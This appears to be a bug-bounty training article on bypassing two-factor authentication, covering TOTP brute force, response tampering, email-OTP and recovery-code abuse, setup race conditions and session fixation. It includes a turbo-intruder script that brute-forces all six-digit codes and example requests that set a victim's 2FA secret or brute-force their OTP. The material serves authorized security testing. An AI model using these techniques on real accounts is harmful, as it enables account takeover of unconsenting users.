Intermediate levelWith account

2FA bypass — TOTP brute force, response manipulation, fallback abuse, race conditions

Real 2FA bypass techniques: TOTP brute force, response manipulation (status 200 with no valid token), fallback to email OTP, race conditions in setup.

Gorka El BochiMay 11, 202614 min

Quick answer

2FA reduces the risk of credential stuffing but it is no silver bullet — every implementation introduces its own class of bug. The five most profitable bypasses: brute force (missing or weak rate limit → 6 digits are 1M combos, beatable in hours), response manipulation (changing the verify endpoint's status), fallback abuse (skipping TOTP using recovery codes / email OTP), race conditions in setup (linking your authenticator to the victim's account between register and enroll) and session fixation (the post-2FA session inherits pre-2FA permissions). Bounties: €1,500-€15,000 — the most profitable bug class of 2026 behind IDOR.


TOTP brute force — the bug that shouldn't exist but does

TOTP generates 6 digits every 30s. Total space: 1,000,000 combos. If the server does not rate-limit the verify endpoint → beatable.

Quick test

http
POST /api/auth/2fa/verify
{"code": "000000"}        → 401 Invalid code
{"code": "000001"}        → 401 Invalid code
{"code": "000002"}        → 401 Invalid code
...

Does the response change after N requests? If after 1000 you still get 401 (not 429 Too Many Requests), brute force is viable.

Countdown

With a 30s TOTP and a rate of 100 req/s against 1M combos → an average of 5000s ≈ 1.5h. If the rate is 500/s (parallel) → 17min. If the rate is 10/s → almost 14h but still beatable.

Assuming the code changes every 30s, you need to resync after each window — but since the code stays valid during those 30s, in any batch you have a chance to hit.

Tools

bash
# turbo-intruder (Burp extension) — single-packet HTTP/2 attack
# Permite ~30 requests/segundo con un solo paquete TCP
python
# turbo-intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=100, engine=Engine.HTTP2)
    for i in range(1000000):
        code = str(i).zfill(6)
        engine.queue(target.req, code)

def handleResponse(req, interesting):
    if req.status != 401:           # 200 = bypass
        table.add(req)

[!warning] Don't burn your test user's account Brute force generates a huge amount of logs. Warn the program beforehand. Some consider "denial of service against your own account" out of scope.

<!-- PAYWALL -->

Response manipulation — the easy €5000

The client trusts the server's response. If the app is an SPA and verify returns {"success": true, "redirect": "/dashboard"} for valid and {"success": false} for invalid — manipulating the response in Burp fools the frontend.

Pattern

http
POST /api/auth/2fa/verify
{"code": "000000"}

← Response (interceptada en Burp):
   HTTP/1.1 401 Unauthorized
   {"success": false}
                                ← cambia a
   HTTP/1.1 200 OK
   {"success": true, "redirect": "/dashboard"}

If the frontend reads success to decide whether to redirect + store the token → you get into the dashboard. It works if:

  • The server issues the session cookie before 2FA (a frequent anti-pattern).
  • Final authentication lives in the frontend (poorly implemented SPA).

Status code only

Some clients only look at status === 200:

css
HTTP/1.1 401 Unauthorized          → cambia a HTTP/1.1 200 OK

The frontend redirects.

"code accepted" pattern on a different endpoint

Some apps validate 2FA at /verify and then call /finalize-login with the pre-2FA session token. If /finalize-login doesn't verify that /verify passed (it assumes the frontend did) → a direct call to /finalize-login skips 2FA:

http
POST /api/auth/finalize-login
Cookie: pre_2fa_session=XXX
                                  ← 200 OK + cookie de sesión post-2FA

Fallback abuse — the 2FA's 2FA

Almost all apps have fallbacks in case the user loses their authenticator: backup codes, email/SMS OTP, security questions. Each fallback is a new surface.

Email OTP — weak

If TOTP requires brute forcing 1M combos, email OTP is usually 4-6 digits but without strict rate limiting because "the attacker needs the email":

http
POST /api/auth/2fa/send-email-otp
{"userId": VICTIMA}
                                  ← email enviado
POST /api/auth/2fa/verify-email-otp
{"code": "0000"}                  ← brute force 4 dígitos = 10K combos
{"code": "0001"}
...

Especially brutal if the OTP doesn't expire or expires after hours — you have a large window.

Recovery codes — leak in setup

When enrolling 2FA, the server shows 10 backup codes. If the endpoint that generates them has an IDOR:

http
GET /api/auth/2fa/recovery-codes/USERID
                                  ← idealmente solo USERID==me, pero IDOR a otros

→ A list of 10 codes that bypass TOTP for that user.

Security questions

The "I forgot my 2FA" endpoint asks questions:

  • "What's your mother's maiden name?" → OSINT / LinkedIn
  • "What's your first pet's name?" → frequently on social media
  • Some apps have a predefined question ("First school?") → common answers in a wordlist

Race condition in 2FA setup

When a user enrolls 2FA, there is a window between "shows QR code" and "verifies first code". If the server allows multiple parallel enrollments:

Pattern

bash
Atacante (con sesión robada por XSS/credential stuff, sin 2FA aún):
  POST /api/auth/2fa/setup     → QR code 1 (secret A)
  POST /api/auth/2fa/setup     → QR code 2 (secret B)   ← sobrescribe el secret?
  POST /api/auth/2fa/setup     → QR code 3 (secret C)

If the last request overwrites the secret in the DB without invalidating the previous ones:

  • The victim scans QR 1, enrolls TOTP normally.
  • But the final secret in the DB is C (attacker-controlled).
  • The attacker generates a code with secret C → gets in as the victim.

Documented real bounty: €3,500 (fintech).

Setup + verify split

Some apps separate setup (generates secret + immediate persistence) from verify (confirms the user scanned it). If setup persists the secret before verify → an attacker with a valid session can run setup on another account via IDOR on the userId body:

http
POST /api/auth/2fa/setup
{"userId": VICTIMA, "secret": "ATACANTE_SECRET"}
                                  ← secret guardado para víctima

Victim's next login → asks for 2FA → attacker has the secret → gets in.


Post-2FA session fixation

A frequent anti-pattern: the session issued pre-2FA (after password) stays valid after 2FA. If the server does not rotate the session token after verify:

Pattern

  1. The attacker captures the victim's pre-2FA session (XSS, sniffing over HTTP, etc.).
  2. The victim completes 2FA normally.
  3. The attacker uses the same pre-2FA session → it is now post-2FA with all permissions.

Correct fix: rotate the session token after verify (just like after a password reset).

Some apps issue two cookies: session (post-password) and session_2fa (post-2FA). If the backend only checks session for "public" endpoints but assumes 2FA is validated for everything → partial bypass.


Apps with magic link as an alternative auth method frequently skip 2FA because "the email is a factor". But if the email doesn't require 2FA → an attacker with access to the email wins even if the main app has 2FA.

Chain

bash
1. Atacante envía magic link a evil-controlled-email (vía IDOR de profile update)
2. Magic link → login completo, salta 2FA
3. Cambia 2FA settings, password, etc.

Default credentials in backup codes

Some apps generate backup codes with predictable patterns:

  • 8 digits derived from the userId with a static seed.
  • Truncated hash of the username.
  • "BACKUP-00001" sequential per user.

Test: enroll 2FA on two test accounts, compare the backup codes. Is there a pattern or are they real random?


Hunting checklist

  • Rate limit on the verify endpoint — 1000 requests with no 429?
  • Response manipulation: try modifying status + body to force success.
  • /finalize-login endpoint or equivalent — can it be called without going through /verify?
  • Fallbacks: email/SMS OTP (rate limit, expiration), recovery codes (IDOR on listing), security questions (predictable/OSINT).
  • Race condition on /setup: multiple parallel requests → does it overwrite the secret?
  • IDOR on /setup: userId body — can I enroll 2FA on another account?
  • Session rotation after verify: does the token change or stay the same?
  • Magic link / passwordless that skips 2FA.
  • Backup codes with predictable patterns (compare across accounts).
  • Post-2FA cookie validated on ALL sensitive endpoints (not just the first).
  • Document the bypass with the minimal request + impact: ATO vs persistence vs role escalation.

Practice TOTP brute force, response manipulation, fallback abuse and setup race conditions in 2FA and Auth labs.

Practice this in a lab

0 Click Ato Otp Brute Force

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

El bypass de 2FA via session fixation + IDOR del setup endpoint que da control completo sin nunca conocer el código original. Reportado a 3 fintech con bounties combinados de €8000.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy